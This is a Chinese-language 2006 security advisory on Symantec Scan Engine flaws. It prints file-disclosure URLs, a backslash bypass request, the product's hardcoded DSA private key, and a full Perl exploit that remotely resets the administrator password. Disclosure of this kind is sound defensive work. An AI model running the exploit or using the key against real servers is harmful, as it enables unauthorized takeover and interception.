安全研究

安全漏洞
Symantec扫描引擎多个远程安全漏洞

发布日期:2006-04-22
更新日期:2006-04-22

受影响系统:
Symantec Scan Engine v5.0.0.24
不受影响系统:
Symantec Scan Engine v5.1.0.7
描述:
BUGTRAQ  ID: 17637
CVE(CAN) ID: CVE-2006-0232,CVE-2006-0231,CVE-2006-0230

Symantec扫描引擎允许第三方将Symantec的内容扫描技术结合到自己的应用中。

Symantec扫描引擎实现上存在多个漏洞,远程攻击者可能这些漏洞获取非授权信息。

1 文件泄露漏洞

Symantec扫描引擎将多个文件存储在Web根目录中(默认为C:\Program Files\Symantec\Scan Engine)。任何非授权用户可以通过正常的URL访问大多数文件,例如以下URL会下载2005年10月17日的日志和相应的数据文件:

      http://x.x.x.x:8004/log/SSE20051017.log
      http://x.x.x.x:8004/log/SSE20051017.dat

同样方式还可以访问病毒定义:

      http://x.x.x.x:8004/Definitions/AntiVirus/VirusDefs/VIRSCAN1.DAT
      http://x.x.x.x:8004/Definitions/AntiVirus/VirusDefs/VIRSCAN2.DAT

这些已安装病毒定义的敏感信息可能允许攻击者不经检测就可以确定可使用什么病毒来感染网络。

以“.xml”扩展名结束的文件受到HTTP守护程序的保护。但是,可通过在文件名后附加反斜线来绕过这种保护。例如,可通过以下HTTP请求访问配置文件configuration.xml:

      GET /configuration.xml\ HTTP/1.0

上面的请求会返回以下配置代码段:

   <system>
    <TempDir value="C:\Program Files\Symantec\Scan Engine\temp\"/>
    [...]
    <InstallDir value="C:\Program Files\Symantec\Scan Engine\"/>
    <LoadMaximumQueuedClients value="100"/>
    <admin>
    <port value="8004"/>
    <sslport value="8005"/>
    <ip value=""/>
    <timeout value="300"/>
    <password value=
     "8369951FB31356D389FBEE4B52F6A7BB51AAE8FBE4B8DB29D249F347C3426D19"/>
    </admin>
   </system>

2 已知DSA私钥漏洞

Symantec扫描引擎的管理客户端使用受到SSL保护的私有协议(默认下运行在TCP 8005端口)与服务端交换敏感配置信息,但SSL保护所部署的方式存在设计错误。所有测试版本的Symantec扫描引擎在SSL服务端中强制使用事先生成的特定DSA私钥,最终用户无法改变这个私钥,但却可以在servers.jar文件中(默认位于“C:\Program Files\Symantec\Scan Engine”)轻易的获得该私钥。

因此SSL保护就会失效,因为任何用户都可以知道私钥。所有的扫描引擎都使用相同的私钥,这就允许攻击者结合ARP或DNS欺骗执行中间人攻击。以下是PEM格式的密钥:

   -----BEGIN DSA PRIVATE KEY-----
   MIIBuwIBAAKBgQD9f1OBHXUSKVLfSpwu7OTn9hG3UjzvRADDHj+AtlEmaUVdQCJR
   +1k9jVj6v8X1ujD2y5tVbNeBO4AdNG/yZmC3a5lQpaSfn+gEexAiwk+7qdf+t8Yb
   +DtX58aophUPBPuD9tPFHsMCNVQTWhaRMvZ1864rYdcq7/IiAxmd0UgBxwIVAJdg
   UI8VIwvMspK5gqLrhAvwWBz1AoGBAPfhoIXWmz3ey7yrXDa4V7l5lK+7+jrqgvlX
   TAs9B4JnUVlXjrrUWU/mcQcQgYC0SRZxI+hMKBYTt88JMozIpuE8FnqLVHyNKOCj
   rh4rs6Z1kW6jfwv6ITVi8ftiegEkO8yk8b6oUZCJqIPf4VrlnwaSi2ZegHtVJWQB
   TDv+z0kqAoGAE9rKDKa4eOROFXX1/jy7sLH34OGTbTmsqYoEBTJt8DolJkr6L4kf
   SyOzpIhKB440mmXZMQJbXy0WNBCGzPjq6OHpI60KuBTskWAtPBEGE1jiov/7jK9b
   wCt6sTBqo3Ux5ygyjuFQyt89d+qTp9761Z32OvaBq+IJvZYWNM8M/2ECFDLgCI85
   fJtA3mlq9Q1T6U36Kl7x
   -----END DSA PRIVATE KEY-----

这个DSA密钥的私钥部分为X:

   X = 0x32e0088f397c9b40de696af50d53e94dfa2a5ef1

3 认证绕过漏洞

默认下可通过TCP端口8004访问的管理web界面通常实现为Java applet。这个applet使用到TCP端口8005的额外SSL连接交换配置信息。管理界面所使用的认证模式存在漏洞,因为服务端认为客户端applet是正确认证的用户,协议本身(8004端口上的HTTP和8005端口上的私有协议)不需要客户端认证。

例如,管理员用户在通过管理界面交换用户口令时,Java applet简单的连接到8005端口并发送请求交换管理员口令哈希,并不需要认证。这可能允许任何远程攻击者更改管理员口令。以下是一种攻击情形:

   $ ./change_scan_engine_pw.pl --pwd foobar 10.68.4.4
   Old hash: E97B788686921D991B3179F1E8CCA6491D3714F2F3EC2ADE399CB71A828090AF
   New hash: 656268BDDE60892B3B5D92781E79C05031E2B48F3D222EB8A71D507FAB2E9EB0
   Password successfully set to: 'foobar'
   $ ./change_scan_engine_pw.pl \
   --hash E97B788686921D991B3179F1E8CCA6491D3714F2F3EC2ADE399CB71A828090AF \
   10.68.4.4
   Old hash: 656268BDDE60892B3B5D92781E79C05031E2B48F3D222EB8A71D507FAB2E9EB0
   New hash: E97B788686921D991B3179F1E8CCA6491D3714F2F3EC2ADE399CB71A828090AF

第一个命令将管理员口令重置为“foobar”:向扫描引擎请求当前的管理员口令哈希(E97B...),计算与新口令相关的哈希(6562...),然后上传新的哈希。第二个命令通过向服务器重新上传之前的哈希(E97B...)恢复之前的口令。

<*来源:Marc Bevand (bevand_m@epita.fr
        Joe Testa (joetesta@hushmail.com
  
  链接:http://www.symantec.com/avcenter/security/Content/2006.04.21.html
        http://www.rapid7.com/advisories/R7-0023.html
        http://www.rapid7.com/advisories/R7-0022.html
        http://www.rapid7.com/advisories/R7-0021.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/perl -w
#
# Remotely change the administrator password (or password hash) of
# Symantec Scan Engine.
#
# Author: Marc Bevand of Rapid7 <marc_bevand(at)rapid7.com>
# Copyright 2006 Rapid7, LLC. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
#   1. Redistributions of source code must retain the above copyright
#   notice, this list of conditions and the following disclaimer.
#
#   2. Redistributions in binary form must reproduce the above
#   copyright notice, this list of conditions and the following
#   disclaimer in the documentation and/or other materials provided
#   with the distribution.
#
#   THIS SOFTWARE IS PROVIDED BY RAPID7, LLC ``AS IS'' AND ANY EXPRESS
#   OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#   WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
#   ARE DISCLAIMED. IN NO EVENT SHALL RAPID7, LLC BE LIABLE FOR ANY
#   DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
#   DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
#   GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
#   INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
#   WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
#   NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
#   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

use strict;
use Getopt::Long;
use LWP::UserAgent;
use Digest::MD5 qw/md5_hex/;
use Net::SSLeay::Handle qw/shutdown/;

#
# Init LWP::UserAgent (the user agent string is the one currently used
# by the Scan Engine java applet).
#
sub init {
    my $ua;
    $ua = LWP::UserAgent->new(keep_alive => 0);
    $ua->agent("Mozilla/4.0 (Windows 2000 5.0) Java/1.4.2_08");
    return $ua;
}

#
# Example of service string to be parsed:
# 10.68.4.4
# 10.68.4.4/8004/8005
# hostname
# hostname/9004/9005
#
sub parse_service {
    my ($service) = @_;

    if ($service =~ m{^([^/]*)/(\d+)/(\d+)$}) {
       return $1, $2, $3;
    } elsif ($service =~ m{^([^/]*)$}) {
       return $1, 8004, 8005;
    } else {
       die "cannot parse service: $service";
    }
}

#
# Sends a request to obtain the password hash. Note: the RSA key
# (modulus and public exponent) has been randomly chosen.
#
sub data_to_send {
    my $r1 =
    '<request><key mod="784607708866372110095636553206565253692059085'.
    '0882661452379500719255245078226751123858547991180612629396444366'.
    '109364669329014831409765373165312900564995261" pub="754297542068'.
    '3822223796790522532950961415568940207500046396606172395479254814'.
    '3383744922039888710333203519260280729415961892539564611703079983'.
    '74406014351745">I need the key</key></request>'
    ;

    return $r1;
}

#
# Example of response to be parsed:
# <request>
#   <message xmlns:xs="http://www.w3.org/2001/XMLSchema"
#     xmlns:java="class:com.symantec.common.SimpleRSA"
#     value="01234567890123456789012345678901234567890123456789012345\
# 6789"/>
#   <password xmlns:xs="http://www.w3.org/2001/XMLSchema"
#     xmlns:java="class:com.symantec.common.SimpleRSA"
#     pass="86B7A1FE120C0279971559B6BAC8C5713EF580BAFD20168D622B7E170\
# D248642"/>
# </request>
#
sub parse_resp {
    my ($res) = @_;

    if ($res =~ /pass="([[:xdigit:]]{64})"/) {
       return $1;
    } else {
       die "cannot parse response: $res";
    }
}

#
# Return a password hash.
#
sub hash_passwd {
    my ($pwd) = @_;
    my $salt = sprintf "%08X%08X%08X%08X", rand(0xffffffff),
    rand(0xffffffff), rand(0xffffffff), rand(0xffffffff);

    return uc(md5_hex("$pwd$salt")) . $salt;
}

sub send_request {
    my ($socket, $req) = @_;

    $req = pack("n", length($req)).$req;
    print $socket $req;
}

#
# Set the administrator password hash.
#
sub set_hash {
    my ($hostname, $port_ssl, $hash) = @_;
    my $socket;
    my $reply;

    tie(*SSL, "Net::SSLeay::Handle", $hostname, $port_ssl)
       or die "ssl tie: $!";
    $socket = \*SSL;
    send_request($socket,
       '<request command="submit" parms="apply" type="saveapply">'.
       '<![CDATA[<?xml version="1.0" encoding="UTF-8"?>'.
       '<guichanges><configuration>'.
       '<changes xpath="//admin/password/@value" value="'.$hash.'"/>'.
       '</configuration></guichanges>'.
       ']]></request>');
    send_request($socket,
       'UTFWritesDone');
    shutdown($socket, 1) or die "ssl shutdown: $!";
    $reply = substr(<$socket>, 2);
    $reply = substr($reply, 0, index($reply, 'UTFWritesDone') - 2);
    if ($reply !~ m{<message status='apply_success'>Apply!</message>})
    {
       die "command failed: $reply";
    }
    close($socket) or die "ssl close: $!";
}

sub doit {
    my ($service, $pwd, $hash) = @_;
    my $hostname;
    my $port_http;
    my $port_ssl;
    my $ua;
    my $url;
    my $req;
    my $res;
    my $old_hash;

    ($hostname, $port_http, $port_ssl) = parse_service($service);
    $ua = init();
    $url = "http://$hostname:$port_http/xml.xml";
    $req = HTTP::Request->new(POST => $url);
    $req->content_type('application/x-www-form-urlencoded');
    $req->content(data_to_send());
    $res = $ua->request($req);
    $res->is_success or die "got ".$res->status_line." for $url\n";
    ($old_hash) = parse_resp($res->content);
    print "Old hash: $old_hash\n";
    if ($hash) {
       set_hash($hostname, $port_ssl, $hash);
       print "New hash: $hash\n";
    } else {
       $hash = hash_passwd($pwd);
       set_hash($hostname, $port_ssl, $hash);
       print "New hash: $hash\n";
       print "Password successfully set to: '$pwd'\n";
    }
}

sub error {
    print STDERR "Try `$0 --help' for more information.\n";
}

sub usage {
    print "Usage:\n".
    "  $0 [OPTIONS] <hostname>\n".
    "  $0 [OPTIONS] <hostname>/<http_port>/<ssl_port>\n".
    "Options:\n".
    "  --help                Display this help\n".
    "  --pwd <passwd>        Set the password (default: test)\n".
    "  --hash <passwd_hash>  Set the password hash instead of a parti".
    "cular password\n".
    "Examples:\n".
    "  $0 10.68.4.4\n".
    "  $0 --pwd foobar 10.68.4.4/8004/8005\n".
    "";
}

sub main {
    my $help;
    my $pwd = "test";
    my $hash;
    my $service;

    if (!GetOptions(
          "help" => \$help,
          "pwd=s" => \$pwd,
          "hash=s" => \$hash,
       )) {
       error(); exit(1);
    }
    if ($help) {
       usage(); exit(0);
    }
    if (!scalar(@ARGV)) {
       print STDERR "No service specified.\n";
       error(); exit(1);
    } elsif (1 == scalar(@ARGV)) {
       $service = $ARGV[0];
    } else {
       print STDERR "Extra argument: $ARGV[1]\n";
       error(); exit(1);
    }
    doit($service, $pwd, $hash);
}

main();

#
# END proof of concept
#

建议:
厂商补丁:

Symantec
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.symantec.com/

浏览次数:3461
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障